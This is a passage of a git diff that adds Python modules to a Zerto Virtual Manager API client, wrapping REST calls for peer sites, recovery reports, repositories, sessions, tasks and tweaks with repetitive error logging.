logging.info("PeerSites.get_pairing_statuses: Fetching pairing statuses...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def generate_token(self): + """ + Generate a token to pair with this site. (Auth) + + Returns: + str: Generated pairing token + """ + url = f"https://{self.client.zvm_address}/v1/peersites/generatetoken" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info("PeerSites.generate_token: Generating pairing token...") + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_peer_site(self, site_identifier): + logging.info(f"PeerSites.get_peer_site: Fetching peer site information for site identifier: {site_identifier}...") + url = f"https://{self.client.zvm_address}/v1/peersites/{site_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"PeerSites.get_peer_site: Successfully retrieved peer site information for site identifier: {site_identifier}.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_peer_site_types(self): + logging.info("PeerSites.get_peer_site_types: Fetching peer site information for site types...") + url = f"https://{self.client.zvm_address}/v1/peersites/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info("PeerSites.get_peer_site_types: Successfully retrieved peer site types information.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/recovery_reports.py b/zvml/recovery_reports.py new file mode 100644 index 0000000..8fad607 --- /dev/null +++ b/zvml/recovery_reports.py @@ -0,0 +1,255 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json + +class RecoveryReports: + def __init__(self, client): + self.client = client + + def get_recovery_reports(self, recovery_operation_identifier=None, page_number=1, page_size=1000, + vpg_name=None, recovery_type=None, state=None, start_time=None, end_time=None): + """ + Generate a recovery report and view information about recovery operations. + + Args: + recovery_operation_identifier (str): The identifier of a specific recovery operation. If provided, no other parameters are used. + start_time (str): The filtering interval start date-time. + end_time (str): The filtering interval end date-time. + page_number (int): The page number to retrieve. Default is 1. + page_size (int): The number of reports to display in a single page. Max 1000. Default is 1000. + vpg_name (str): The name of the VPG(s) to filter by. Separate multiple VPGs with commas. + recovery_type (str): The type of recovery operation. Possible values: Failover, FailoverTest, Move. + state (str): The recovery operation state. Possible values: Success, Fail. + + Returns: + dict: The response from the ZVM API containing recovery report details. + """ + + logging.info(f'RecoveryReports.get_recovery_reports recovery_operation_identifier: {recovery_operation_identifier}, \ + start_time: {start_time}, end_time: {end_time}, page_number: {page_number}, \ + page_size: {page_size}, vpg_name: {vpg_name}, recovery_type: {recovery_type}, state: {state}') + + # Determine the URL based on whether recoveryOperationIdentifier is provided + if recovery_operation_identifier: + base_url = f"https://{self.client.zvm_address}/v1/reports/recovery/{recovery_operation_identifier}" + params = None # No query parameters for this endpoint + else: + base_url = f"https://{self.client.zvm_address}/v1/reports/recovery" + # Parameters for the request + params = { + "startTime": start_time, + "endTime": end_time, + "pageNumber": page_number, + "pageSize": page_size, + } + + # Optional parameters + if vpg_name: + params["vpgName"] = vpg_name + if recovery_type: + params["recoveryType"] = recovery_type + if state: + params["state"] = state + + # Headers for the request + headers = { + "Authorization": f"Bearer {self.client.token}", + "Accept": "application/json", + } + + try: + response = requests.get(base_url, headers=headers, params=params, verify=self.client.verify_certificate) + + if response.status_code == 200: + # logging.info(f"Successfully retrieved recovery reports = {json.dumps(response.json(), indent=4)}") + return response.json() + else: + logging.error(f"Failed to fetch recovery reports. Status Code: {response.status_code}, Response: {response.text}") + response.raise_for_status() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_resource_reports(self, start_time=None, end_time=None, page_number=None, page_size=None, + zorg_name=None, vpg_name=None, vm_name=None, protected_site_name=None, + protected_cluster_name=None, protected_host_name=None, protected_org_vdc=None, + protected_vcd_org=None, recovery_site_name=None, recovery_cluster_name=None, + recovery_host_name=None, recovery_org_vdc=None, recovery_vcd_org=None): + """ + Fetch resource reports with optional filters. + + Args: + start_time (str): The filtering interval start date-time. + end_time (str): The filtering interval end date-time. + page_number (int): The page number to retrieve. + page_size (int): The number of reports per page (max 1000). + zorg_name (str): The name of the ZORG in the Zerto Cloud Manager. + vpg_name (str): The name of the VPG. + vm_name (str): The name of the virtual machine. + protected_site_name (str): The name of the protected site. + protected_cluster_name (str): The name of the protected cluster. + protected_host_name (str): The name of the protected host. + protected_org_vdc (str): The name of the protected VDC organization. + protected_vcd_org (str): The name of the protected VCD organization. + recovery_site_name (str): The name of the recovery site. + recovery_cluster_name (str): The name of the recovery cluster. + recovery_host_name (str): The name of the recovery host. + recovery_org_vdc (str): The name of the recovery VDC organization. + recovery_vcd_org (str): The name of the recovery VCD organization. + + Returns: + list: A list of resource reports based on the provided filters. + """ + logging.info(f"list_resource_reports(start_time={start_time}, end_time={end_time}, page_number={page_number}, " + f"page_size={page_size}, zorg_name={zorg_name}, vpg_name={vpg_name}, vm_name={vm_name}, " + f"protected_site_name={protected_site_name}, protected_cluster_name={protected_cluster_name}, " + f"protected_host_name={protected_host_name}, protected_org_vdc={protected_org_vdc}, " + f"protected_vcd_org={protected_vcd_org}, recovery_site_name={recovery_site_name}, " + f"recovery_cluster_name={recovery_cluster_name}, recovery_host_name={recovery_host_name}, " + f"recovery_org_vdc={recovery_org_vdc}, recovery_vcd_org={recovery_vcd_org})") + + uri = f"https://{self.client.zvm_address}/v1/reports/resources" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Building query parameters + params = {} + if start_time: + params['startTime'] = start_time + if end_time: + params['endTime'] = end_time + if page_number is not None: + params['pageNumber'] = page_number + if page_size is not None: + params['pageSize'] = page_size + if zorg_name: + params['zorgName'] = zorg_name + if vpg_name: + params['vpgName'] = vpg_name + if vm_name: + params['vmName'] = vm_name + if protected_site_name: + params['protectedSiteName'] = protected_site_name + if protected_cluster_name: + params['protectedClusterName'] = protected_cluster_name + if protected_host_name: + params['protectedHostName'] = protected_host_name + if protected_org_vdc: + params['protectedOrgVdc'] = protected_org_vdc + if protected_vcd_org: + params['protectedVcdOrg'] = protected_vcd_org + if recovery_site_name: + params['recoverySiteName'] = recovery_site_name + if recovery_cluster_name: + params['recoveryClusterName'] = recovery_cluster_name + if recovery_host_name: + params['recoveryHostName'] = recovery_host_name + if recovery_org_vdc: + params['recoveryOrgVdc'] = recovery_org_vdc + if recovery_vcd_org: + params['recoveryVcdOrg'] = recovery_vcd_org + + try: + response = requests.get(uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + reports = response.json() + + if not reports: + logging.warning("No resource reports found.") + return [] + + return reports + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_latest_failover_test_report(self, vpg_name): + """ + Get the most recent failover test report for a specific VPG. + + Args: + vpg_name (str): The name of the VPG to get the report for. + + Returns: + dict: The most recent failover test report for the VPG, or None if no reports found. + """ + logging.info(f"RecoveryReports.get_latest_failover_test_report VPG: {vpg_name}") + + try: + # Get all failover test reports for this VPG + reports = self.get_recovery_reports( + vpg_name=vpg_name, + recovery_type="FailoverTest", + page_size=1000 # Adjust if you need more reports + ) + + if not reports: + logging.warning(f"No failover test reports found for VPG: {vpg_name}") + return None + + # Sort reports by StartTime in descending order and get the first one + sorted_reports = sorted( + reports, + key=lambda x: x["General"].get("EndTime", ""), + reverse=True + ) + + if sorted_reports: + return sorted_reports[0] + + return None + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/recoveryscripts.py b/zvml/recoveryscripts.py new file mode 100644 index 0000000..744739d --- /dev/null +++ b/zvml/recoveryscripts.py @@ -0,0 +1,93 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class RecoveryScripts: + def __init__(self, client): + self.client = client + + def get_recovery_scripts(self): + url = f"https://{self.client.zvm_address}/v1/recoveryscripts" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + def get_recovery_script(self, script_identifier): + url = f"https://{self.client.zvm_address}/v1/recoveryscripts/{script_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + def get_recovery_script_types(self): + url = f"https://{self.client.zvm_address}/v1/recoveryscripts/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/repositories.py b/zvml/repositories.py new file mode 100644 index 0000000..5becc18 --- /dev/null +++ b/zvml/repositories.py @@ -0,0 +1,95 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Repositories: + def __init__(self, client): + self.client = client + + def get_repositories(self): + url = f"https://{self.client.zvm_address}/v1/repositories" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_repository(self, repository_identifier): + url = f"https://{self.client.zvm_address}/v1/repositories/{repository_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_repository_types(self): + url = f"https://{self.client.zvm_address}/v1/repositories/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/server_date_time.py b/zvml/server_date_time.py new file mode 100644 index 0000000..cdff999 --- /dev/null +++ b/zvml/server_date_time.py @@ -0,0 +1,72 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +from enum import Enum + +class DateTimeFormat(Enum): + """Enum for date time format options""" + DEFAULT = "" # Returns full server time info + LOCAL = "serverDateTimeLocal" # Returns local time + UTC = "serverDateTimeUtc" # Returns UTC time + ARGUMENT = "dateTimeArgument" # Returns date time argument format + +class ServerDateTime: + def __init__(self, client): + self.client = client + + def get_server_date_time(self, format=DateTimeFormat.DEFAULT): + """ + Get the server date and time in the specified format. + + Args: + format (DateTimeFormat): The format to return the date-time in. + - DEFAULT: Returns full server time info (timezone, UTC time, local time, offset) + - LOCAL: Returns local time + - UTC: Returns UTC time + - ARGUMENT: Returns date time argument format + + Returns: + dict/str: Server date-time information. Format depends on the format parameter: + - DEFAULT: { + 'TimeZone': str, + 'ServerTimeUtc': str, + 'LocalTime': str, + 'TimeOffset': str + } + - LOCAL: Local time string + - UTC: UTC time string + - ARGUMENT: Date time argument format string + """ + logging.info(f"ServerDateTime.get_server_date_time: Fetching server date and time in {format.name} format...") + + # Build the URL based on the format + base_url = f"https://{self.client.zvm_address}/v1/serverDateTime" + url = base_url if format == DateTimeFormat.DEFAULT else f"{base_url}/{format.value}" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + server_time = response.json() + logging.info(f"Successfully retrieved server date and time in {format.name} format") + return server_time + + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get server date and time: {e}") + if hasattr(e.response, 'text'): + logging.error(f"Error response: {e.response.text}") + raise \ No newline at end of file diff --git a/zvml/service_profiles.py b/zvml/service_profiles.py new file mode 100644 index 0000000..7a02869 --- /dev/null +++ b/zvml/service_profiles.py @@ -0,0 +1,61 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class ServiceProfiles: + def __init__(self, client): + self.client = client + + def get_service_profiles(self, site_identifier=None): + """ + Get the list of all service profiles for the site. + + Args: + site_identifier (str, optional): The identifier of the site for which service profiles + should be returned. + + Returns: + list: List of service profiles with their details including: + - serviceProfileName: Name of the service profile + - rpo: Recovery Point Objective + - history: Journal history length + - maxJournalSizeInPercent: Maximum journal size as percentage + - testInterval: Test interval period + - description: Service profile description + """ + logging.info(f"ServiceProfiles.get_service_profiles: Fetching service profiles...") + + url = f"https://{self.client.zvm_address}/v1/serviceprofiles" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = {} + if site_identifier: + params['siteIdentifier'] = site_identifier + logging.info(f"Filtering service profiles for site: {site_identifier}") + + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + profiles = response.json() + logging.info(f"Successfully retrieved {len(profiles)} service profiles") + return profiles + + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get service profiles: {e}") + if hasattr(e.response, 'text'): + logging.error(f"Error response: {e.response.text}") + raise \ No newline at end of file diff --git a/zvml/sessions.py b/zvml/sessions.py new file mode 100644 index 0000000..3ffbb3c --- /dev/null +++ b/zvml/sessions.py @@ -0,0 +1,59 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Sessions: + def __init__(self, client): + self.client = client + + def get_sessions(self): + url = f"https://{self.client.zvm_address}/v1/sessions" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get sessions: {e}") + raise + + def get_session(self, session_identifier): + url = f"https://{self.client.zvm_address}/v1/sessions/{session_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get session: {e}") + raise + + def get_session_types(self): + url = f"https://{self.client.zvm_address}/v1/sessions/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get session types: {e}") + raise \ No newline at end of file diff --git a/zvml/tasks.py b/zvml/tasks.py new file mode 100644 index 0000000..63087f6 --- /dev/null +++ b/zvml/tasks.py @@ -0,0 +1,57 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import time +from .common import ZertoTaskStates + +class Tasks: + def __init__(self, client): + self.client = client + + def wait_for_task_completion(self, task_identifier, timeout=600, interval=5, expected_task_state: ZertoTaskStates = ZertoTaskStates.Completed): + logging.debug(f'wait_for_task_completion(zvm_address={self.client.zvm_address}, task_identifier={task_identifier}, timeout={timeout}, interval={interval})') + start_time = time.time() + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + while True: + # Check if we've exceeded the timeout + if time.time() - start_time > timeout: + logging.error(f'Task ID={task_identifier} timed out after {timeout} seconds') + raise TimeoutError(f"Task did not complete within {timeout} seconds") + + url = f"https://{self.client.zvm_address}/v1/tasks/{task_identifier}" + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_info = response.json() + + state = task_info.get("Status", {}).get("State", -1) + progress = task_info.get("Status", {}).get("Progress", 0) + logging.debug(f'Task response: status={ZertoTaskStates.get_name_by_value(state)}, progress={progress}') + + if state == expected_task_state.value and progress == 100: + logging.info("Task completed successfully.") + time.sleep(interval) + return task_info + elif state == ZertoTaskStates.InProgress.value: + time.sleep(interval) + continue + else: + logging.error(f'Task ID={task_identifier} failed. task state={ZertoTaskStates.get_name_by_value(state)}') + raise Exception(f"Task failed: {task_info.get('CompleteReason', 'No reason provided')}") + except requests.exceptions.RequestException as e: + logging.error(f"Request failed: {e}") + raise \ No newline at end of file diff --git a/zvml/tweaks.py b/zvml/tweaks.py new file mode 100644 index 0000000..d6d476e --- /dev/null +++ b/zvml/tweaks.py @@ -0,0 +1,179 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json +from typing import Dict, List, Optional, Any +from zvml.common import ZertoTweakType + +class Tweaks: + def __init__(self, client): + self.client = client + + def list_tweaks(self, tweak_name: Optional[str] = None) -> List[Dict]: + """List ZVM tweaks. + + Args: + tweak_name: Optional name of specific tweak to retrieve + + Returns: + List[Dict]: List of ZVM tweaks and their current settings, or a single tweak if name provided + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"Tweaks.list_tweaks(zvm_address={self.client.zvm_address}, tweak_name={tweak_name})") + + # Build URL based on whether a specific tweak is requested + base_url = f"https://{self.client.zvm_address}/management/api/tweaks/v1.0/zvmTweaks" + url = f"{base_url}/{tweak_name}" if tweak_name else base_url + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + + # If a specific tweak was requested, wrap the result in a list for consistent return type + if tweak_name: + result = [result] + + logging.info(f"Successfully retrieved {len(result)} ZVM tweak(s)") + logging.debug(f"Tweaks.list_tweaks result: {json.dumps(result, indent=4)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def set_tweak(self, tweak_name: str, value: Any, tweak_type: ZertoTweakType = ZertoTweakType.ZVM, comment: str = "Changed from API") -> Dict: + """Set a ZVM tweak value. + + Args: + tweak_name: Name of the tweak to update + value: New value for the tweak + tweak_type: Type of tweak (ZVM, VRA, or Frontend) + comment: Optional comment for the change + + Returns: + Dict: Updated tweak information + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"Tweaks.set_tweak(zvm_address={self.client.zvm_address}, tweak_name={tweak_name}, value={value}, type={tweak_type.value})") + + url = f"https://{self.client.zvm_address}/management/api/tweaks/v1/zvmTweaks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = { + "name": tweak_name, + "type": tweak_type.value, + "value": str(value), + "comment": comment + } + + logging.info(f"Tweaks.set_tweak payload: {payload}") + logging.info(f"Tweaks.set_tweak url: {url}") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + + # Log the raw response for debugging + logging.debug(f"Raw response status: {response.status_code}") + logging.debug(f"Raw response headers: {dict(response.headers)}") + logging.debug(f"Raw response content: {response.text}") + + response.raise_for_status() + + try: + result = response.json() + logging.info(f"Successfully updated tweak {tweak_name}") + logging.debug(f"Tweaks.set_tweak result: {json.dumps(result, indent=4)}") + return result + except ValueError: + # If response is not JSON but request was successful + logging.info(f"Successfully updated tweak {tweak_name} (no JSON response)") + return {"status": "success", "name": tweak_name} + + except requests.exceptions.RequestException as e: + logging.error(f"Error setting tweak {tweak_name}") + if hasattr(e, 'response') and e.response is not None: + logging.error(f"Status code: {e.response.status_code}") + logging.error(f"Response text: {e.response.text}") + try: + error_json = e.response.json() + logging.error(f"Error details: {json.dumps(error_json, indent=2)}") + except ValueError: + logging.error("Could not parse error response as JSON") + else: + logging.error(f"Request failed: {str(e)}") + raise + + def delete_tweak(self, tweak_name: str) -> None: + """Delete a ZVM tweak. + + Args: + tweak_name: Name of the tweak to delete + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"Tweaks.delete_tweak(zvm_address={self.client.zvm_address}, tweak_name={tweak_name})") + + url = f"https://{self.client.zvm_address}/management/api/tweaks/v1/zvmTweaks/{tweak_name}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"Tweaks.delete_tweak url: {url}") + + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + + # Log the raw response for debugging + logging.debug(f"Raw response status: {response.status_code}") + logging.debug(f"Raw response headers: {dict(response.headers)}") + logging.debug(f"Raw response content: {response.text}") + + response.raise_for_status() + logging.info(f"Successfully deleted tweak {tweak_name}") + + except requests.exceptions.RequestException as e: + logging.error(f"Error deleting tweak {tweak_name}") + if hasattr(e, 'response') and e.response is not None: + logging.error(f"Status code: {e.response.status_code}") + logging.error(f"Response text: {e.response.text}") + try: + error_json = e.response.json() + logging.error(f"Error details: {json.dumps(error_json, indent=2)}") + except ValueError: + logging.error("Could not parse error response as JSON") + else: + logging.error(f"Request failed: {str(e)}") + raise \ No newline at end of file diff --git a/zvml/virtualization_sites.py b/zvml/virtualization_sites.py new file mode 100644 index 0000000..8375a67 --- /dev/null +++ b/zvml/virtualization_sites.py @@ -0,0 +1,989 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any 